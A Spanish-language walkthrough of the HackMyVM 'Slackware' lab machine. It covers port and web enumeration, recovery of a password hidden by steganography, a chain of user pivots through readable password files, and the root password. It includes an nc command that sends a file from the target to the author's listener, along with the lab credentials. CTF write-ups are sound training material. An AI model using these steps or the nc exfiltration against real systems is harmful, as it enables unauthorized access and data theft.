cd ~/blog

~/writeups/hmv/093-slackware.md

093 - Slackware

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Sensitive Information Exposure mediante un archivo 7z multipartesCredential Exposure mediante esteganografía con zsteg y stegsnowCredential Reuse mediante archivos de contraseña encadenados
hackmyvm.eu/machines/machine.php?vm=Slackware

~1 min de lectura


Enumeración de servicios

La máquina desplaza SSH y HTTP a los puertos 1 y 2, respectivamente. Esta distribución poco habitual obliga a indicar el puerto explícitamente tanto al navegador como al cliente SSH:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.63.247
❯ nmap -sCV -p1,2 192.168.63.247
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-03 19:15 -04
Nmap scan report for 192.168.63.247
Host is up (0.00038s latency).

PORT  STATE SERVICE VERSION
1/tcp open  ssh     OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
|   256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_  256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open  http    Apache httpd 2.4.58 ((Unix))
|_http-title: Tribute to Slackware
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Unix)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Recuperación del archivo multipartes

Durante la enumeración web, robots.txt no revela un nombre completo, sino la extensión del primer segmento de un archivo 7z multipartes:

❯ gobuster dir -u 'http://192.168.63.247:2' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png -r
...
/getslack             (Status: 200) [Size: 12]

❯ cat robots.txt
User-agent: *
#7z.001

Volvemos a fuzzear /getslack con esa extensión y encontramos partes de un 7z:

❯ gobuster dir -u 'http://192.168.63.247:2/getslack' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,7z.001 -r
...
/twitter.7z.001       (Status: 200) [Size: 20480]
...

El patrón descubierto permite automatizar la descarga secuencial. Las primeras catorce partes forman el archivo completo; los intentos posteriores simplemente permiten que wget determine cuándo dejan de existir segmentos:

❯ cat download.sh
for i in {1..100}
do
    if [ $i -lt 10 ]; then
        url="http://192.168.63.247:2/getslack/twitter.7z.00$i"
        wget $url
    elif [ $i -ge 10 ] && [ $i -lt 100 ]; then
        url="http://192.168.63.247:2/getslack/twitter.7z.0$i"
        wget $url
    else
        url="http://192.168.63.247:2/getslack/twitter.7z.$i"
        wget $url
    fi
done

Esteganografía y acceso inicial

Al colocar los segmentos juntos y abrir el archivo desde twitter.7z.001, recuperamos una imagen PNG de Patrick Volkerding. zsteg inspecciona sus planos de bits y encuentra una cadena incrustada que funciona como contraseña:

❯ zsteg twitter.png
...
extradata:0         .. text: "trYth1sPasS1993"
...

La temática de la imagen aporta el usuario patrick. Usamos la cadena extraída para autenticarnos por SSH en el puerto 1:

❯ ssh patrick@192.168.63.247 -p 1
(patrick@192.168.63.247) Password:
Linux 5.15.145.
patrick@slackware:~$

Credential Reuse entre usuarios

Los permisos de grupo sobre cada mypass.txt permiten que una cuenta lea la contraseña de otra. Cada credencial recuperada habilita el siguiente cambio de usuario, formando una cadena hasta rpj7:

patrick@slackware:/home$ ls | xargs ls -l 2>/dev/null
claor/:
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
kretinga/:
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txt
claor@slackware:/home$ ls | xargs ls -l 2>/dev/null
alienum/:
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
mrmidnight/:
-rw-r----- 1 mrmidnight alienum 13 Mar 10 22:15 mypass.txt
...

Escalada mediante esteganografía en espacios en blanco

En el home de rpj7 encontramos la flag de usuario y un mensaje oculto mediante variaciones de espacios y tabulaciones. Transferimos el archivo sin transformarlo y usamos stegsnow para recuperar el contenido encubierto:

❯ nc -lvp 4444 > snow_user.txt

rpj7@slackware:~$ nc -w 3 192.168.63.50 4444 < user.txt

❯ stegsnow -C snow_user.txt
To_Jest_Bardzo_Trudne_Haslo

Esa es la contraseña de root:

rpj7@slackware:~$ su root
Password: To_Jest_Bardzo_Trudne_Haslo
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.

La flag de root está escondida en un .screenrc dentro de /home:

root@slackware:~# find /home -name "*" | xargs grep flag 2>/dev/null
/home/0xh3rshel/.screenrc:# Here is a flag for root: [redacted]

La búsqueda desde la sesión privilegiada localiza la flag real dentro de .screenrc y completa la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados